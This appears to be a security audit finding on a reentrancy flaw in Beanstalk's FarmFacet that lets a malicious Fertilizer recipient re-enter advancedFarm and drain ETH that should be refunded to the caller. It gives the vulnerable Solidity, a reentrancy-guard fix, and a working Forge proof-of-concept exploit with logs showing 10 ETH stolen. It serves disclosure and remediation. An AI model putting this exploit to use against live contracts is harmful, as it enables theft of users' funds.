`FarmFacet` functions are susceptible to the draining of intermediate value sent by the caller via reentrancy when execution is handed off to an untrusted external contract
The `FarmFacet` enables multiple Beanstalk functions to be called in a single transaction using Farm calls. Any function stored in Beanstalk's EIP-2535 DiamondStorage can be called as a Farm call and, similar to the Pipeline calls originated in the `DepotFacet`, advanced Farm calls can be made within `FarmFacet` utilizing the "clipboard" encoding documented in `LibFunction`.\\nBoth `FarmFacet::farm` and `FarmFacet::advancedFarm` make use of the `withEth` modifier defined as follows:\\n```\\n// signals to Beanstalk functions that they should not refund Eth\\n// at the end of the function because the function is wrapped in a Farm function\\nmodifier withEth() {\\n    if (msg.value > 0) s.isFarm = 2;\\n    _;\\n    if (msg.value > 0) {\\n       s.isFarm = 1;\\n        LibEth.refundEth();\\n    }\\n}\\n```\\n\\nUsed in conjunction with `LibEth::refundEth`, within the `DepotFacet`, for example, the call is identified as originating from the `FarmFacet` if `s.isFarm == 2`. This indicates that an ETH refund should occur at the end of top-level `FarmFacet` function call rather than intermediate Farm calls within Beanstalk so that the value can be utilized in subsequent calls.\\n```\\nfunction refundEth()\\n    internal\\n{\\n    AppStorage storage s = LibAppStorage.diamondStorage();\\n    if (address(this).balance > 0 && s.isFarm != 2) {\\n        (bool success, ) = msg.sender.call{value: address(this).balance}(\\n            new bytes(0)\\n        );\\n        require(success, "Eth transfer Failed.");\\n    }\\n}\\n```\\n\\nSimilar to the vulnerabilities in `DepotFacet` and `Pipeline`, `FarmFacet` Farm functions are also susceptible to the draining of intermediate value sent by the caller via reentrancy by an untrusted and malicious external contract. In this case, the attacker could be the recipient of Beanstalk Fertilizer, for example, given this is a likely candidate for an action that may be performed via `FarmFacet` functions, utilizing `TokenSupportFacet::transferERC1155`, and because transfers of these tokens are performed "safely" by calling `Fertilizer1155:__doSafeTransferAcceptanceCheck` which in turn calls the `IERC1155ReceiverUpgradeable::onERC1155Received` hook on the Fertilizer recipient.\\nContinuing the above example, a malicious recipient could call back into the `FarmFacet` and re-enter the Farm functions via the `Fertilizer1155` safe transfer acceptance check with empty calldata and only `1 wei` of payable value. This causes the execution of the attacker's transaction to fall straight through to the refund logic, given no loop iterations occur on the empty data and the conditional blocks within the modifier are entered due to the (ever so slightly) non-zero `msg.value`. The call to `LibEth::refundEth` will succeed sinces.isFarm == 1 in the attacker's context, sending the entire Diamond proxy balance. When execution continues in the context of the original caller's Farm call, it will still enter the conditional since their `msg.value` was also non-zero; however, there is no longer any ETH balance to refund, so this call will fall through without sending any value as the conditional block is not entered.
Add a reentrancy guard to `FarmFacet` Farm functions.\\n\\clearpage
A malicious external contract handed control of execution during the lifetime of a Farm call can reenter and steal intermediate user funds. As such, this finding is determined to be of HIGH severity.\\nProof of Concept: The following forge test demonstrates the ability of a Fertilizer recipient, for example, to re-enter Beanstalk, draining funds remaining in the Diamond that should have been refunded to the original caller at the end of execution:\\n```\\ncontract FertilizerRecipient {\\n    bool exploited;\\n\\n    function onERC1155Received(address, address, uint256, uint256, bytes calldata) external returns (bytes4) {\\n        console.log("entered exploiter onERC1155Received");\\n        if (!exploited) {\\n            exploited = true;\\n            console.log("exploiting farm facet farm call");\\n            AdvancedFarmCall[] memory data = new AdvancedFarmCall[](0);\\n            IBeanstalk(BEANSTALK).advancedFarm{value: 1 wei}(data);\\n            console.log("finished exploiting farm facet farm call");\\n        }\\n        return bytes4(0xf23a6e61);\\n    }\\n\\n    fallback() external payable {\\n        console.log("entered exploiter fallback");\\n        console.log("Beanstalk balance: ", BEANSTALK.balance);\\n        console.log("Exploiter balance: ", address(this).balance);\\n    }\\n}\\n\\ncontract FarmFacetPoC is Test {\\n    uint256 constant TOKEN_ID = 3445713;\\n    address constant VICTIM = address(0x995D1e4e2807Ef2A8d7614B607A89be096313916);\\n    FertilizerRecipient exploiter;\\n\\n    function setUp() public {\\n        vm.createSelectFork("mainnet", ATTACK_BLOCK);\\n\\n        FarmFacet farmFacet = new FarmFacet();\\n        vm.etch(FARM_FACET, address(farmFacet).code);\\n\\n        Fertilizer fert = new Fertilizer();\\n        vm.etch(FERTILIZER, address(fert).code);\\n\\n        assertGe(IERC1155(FERTILIZER).balanceOf(VICTIM, TOKEN_ID), 1, "Victim does not have token");\\n\\n        exploiter = new FertilizerRecipient();\\n        vm.deal(address(exploiter), 1 wei);\\n\\n        vm.label(VICTIM, "VICTIM");\\n        vm.deal(VICTIM, 10 ether);\\n\\n        vm.label(BEANSTALK, "Beanstalk Diamond");\\n        vm.label(FERTILIZER, "Fertilizer");\\n        vm.label(address(exploiter), "Exploiter");\\n    }\\n\\n    function test_attack() public {\\n        emit log_named_uint("VICTIM balance before: ", VICTIM.balance);\\n        emit log_named_uint("BEANSTALK balance before: ", BEANSTALK.balance);\\n        emit log_named_uint("Exploiter balance before: ", address(exploiter).balance);\\n\\n        vm.startPrank(VICTIM);\\n        // approve Beanstalk to transfer Fertilizer\\n        IERC1155(FERTILIZER).setApprovalForAll(BEANSTALK, true);\\n\\n        // encode call to `TokenSupportFacet::transferERC1155`\\n        bytes4 selector = 0x0a7e880c;\\n        assertEq(IBeanstalk(BEANSTALK).facetAddress(selector), address(0x5e15667Bf3EEeE15889F7A2D1BB423490afCb527), "Incorrect facet address/invalid function");\\n\\n        AdvancedFarmCall[] memory data = new AdvancedFarmCall[](1);\\n        data[0] = AdvancedFarmCall(abi.encodeWithSelector(selector, address(FERTILIZER), address(exploiter), TOKEN_ID, 1), abi.encodePacked(bytes1(0x00)));\\n        IBeanstalk(BEANSTALK).advancedFarm{value: 10 ether}(data);\\n        vm.stopPrank();\\n\\n        emit log_named_uint("VICTIM balance after: ", VICTIM.balance);\\n        emit log_named_uint("BEANSTALK balance after: ", BEANSTALK.balance);\\n        emit log_named_uint("Exploiter balance after: ", address(exploiter).balance);\\n    }\\n}\\n```\\n\\nAs can be seen in the output below, the exploiter is able to steal the excess 10 Ether sent by the victim:\\n```\\nRunning 1 test for test/FarmFacetPoC.t.sol:FarmFacetPoC\\n[PASS] test_attack() (gas: 183060)\\nLogs:\\n  VICTIM balance before: : 10000000000000000000\\n  BEANSTALK balance before: : 0\\n  Exploiter balance before: : 1\\n  data.length: 1\\n  entered __doSafeTransferAcceptanceCheck\\n  to is contract, calling hook\\n  entered exploiter onERC1155Received\\n  exploiting farm facet farm call\\n  data.length: 0\\n  entered exploiter fallback\\n  Beanstalk balance:  0\\n  Exploiter balance:  10000000000000000001\\n  finished exploiting farm facet farm call\\n  VICTIM balance after: : 0\\n  BEANSTALK balance after: : 0\\n  Exploiter balance after: : 10000000000000000001\\n```\\n
```\\n// signals to Beanstalk functions that they should not refund Eth\\n// at the end of the function because the function is wrapped in a Farm function\\nmodifier withEth() {\\n    if (msg.value > 0) s.isFarm = 2;\\n    _;\\n    if (msg.value > 0) {\\n       s.isFarm = 1;\\n        LibEth.refundEth();\\n    }\\n}\\n```\\n